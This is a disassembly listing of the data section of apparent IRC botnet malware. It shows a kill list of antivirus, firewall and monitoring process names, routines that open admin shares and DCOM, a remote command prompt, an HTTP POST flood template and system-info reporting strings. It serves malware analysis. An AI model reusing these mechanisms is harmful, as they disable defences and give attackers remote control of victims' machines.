aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439D28	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439D54	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_439D80	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_439E88
		dd offset dword_439E7C
		dd offset dword_439E70
		dd offset dword_439E64
		dd offset dword_439E58
		dd offset dword_439E4C
		dd offset dword_439E3C
		dd offset dword_439E30
		dd offset dword_439E24
		dd offset dword_439E18
		dd offset dword_439E0C
		dd offset dword_439DFC
		dd offset dword_439DF0
		dd offset dword_439DE0
dword_439DE0	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:00439DDCo
dword_439DF0	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439DD8o
dword_439DFC	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439DD4o
dword_439E0C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439DD0o
dword_439E18	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439DCCo
dword_439E24	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439DC8o
dword_439E30	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439DC4o
dword_439E3C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439DC0o
dword_439E4C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:00439DBCo
dword_439E58	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439DB8o
dword_439E64	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439DB4o
dword_439E70	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439DB0o
dword_439E7C	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:00439DACo
dword_439E88	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439DA8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439DA4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439DA0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:00439D9Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439D98o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439D94o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439D90o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:00439D8Co
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:00439D88o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:00439D84o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_439D80o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439F38	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F5C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_439F80	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_439FB0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A008	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A06C	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A090	dd offset dword_43A0C8	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 8
		dd offset dword_43A0C0
		align 10h
off_43A0A0	dd offset dword_43A0BC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_43A0B8
		dd offset dword_43A0B4
		dd offset dword_43A0B0
dword_43A0B0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:0043A0ACo
dword_43A0B4	dd 2444h		; DATA XREF: ___:0043A0A8o
dword_43A0B8	dd 5C3A43h		; DATA XREF: ___:0043A0A4o
dword_43A0BC	dd 2443h		; DATA XREF: ___:off_43A0A0o
dword_43A0C0	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A098o
dword_43A0C8	dd 24435049h, 0		; DATA XREF: ___:off_43A090o
dword_43A0D0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A100	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_43A128	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A154	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_43A178	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_43A1C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A1F8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A234	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A268	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_43A2B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A2E8	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_43A308	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_43A368	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A390	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A3EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A424	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A464	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_43A480	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_43A4D8	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A6F0	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A7CC	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
dword_43A7F8	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A83C	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A840	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A844	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A84C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A85C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A88C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A8B8	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A8D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A910	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A92C	dd 2A2F2Ah		; DATA XREF: sub_41ADB5+3Bo
dword_43A930	dd 93909028h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A940	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A94C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A958	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A95C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A970	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A974	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A980	dd offset off_43A980	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A984	dd offset off_43A980	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A998
		dd offset dword_43A998
dword_43A990	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A998	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A988o
					; ___:0043A98Co
off_43C9A0	dd offset off_43A980	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9A4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9A8	dd offset word_43C9B2	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C9AC	dd offset word_43C9B2	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C9B2	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C9A8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43CBB4	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43CBB8	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43CBC0	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43CBC4	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43CBC8	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43CBD0	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43CBD4	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43CBE0	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCC0	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43CCC4	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43CE28	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43CE30	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43CE38	dd 14h			; DATA XREF: sub_421624+2o
off_43CE3C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C92Ch, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43CF10	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF20	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF38	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43CF44	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43CF50	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43CF54	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43CF58	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43CF5C	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43CF60	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43CF64	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43CF74	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CF78	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43CF7C	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43CFF0	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43CFF4	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43CFF8	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43CFFC	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43D000	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43D008	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43D00C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433EDCh
		dd 0FFh, 427960h
off_43D098	dd offset dword_4DBC60	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DBC60
		dd 101h
dword_43D0A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43D0B8	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D0D8	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D108	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43D318	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43D320	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43D328	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43D340	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43D358	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43D35C	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43D360	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43D364	dd offset dword_545350	; DATA XREF: ___:off_43D3E4o
		dd 0Fh dup(0)
off_43D3A4	dd offset dword_544450	; DATA XREF: ___:off_43D3E8o
		dd 0Fh dup(0)
off_43D3E4	dd offset off_43D364	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43D3E8	dd offset off_43D3A4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43D3F0	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43D3F4	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43D3F8	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43D400	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43D404	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43D408	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43D40C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43D43C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43D440	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43D478	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
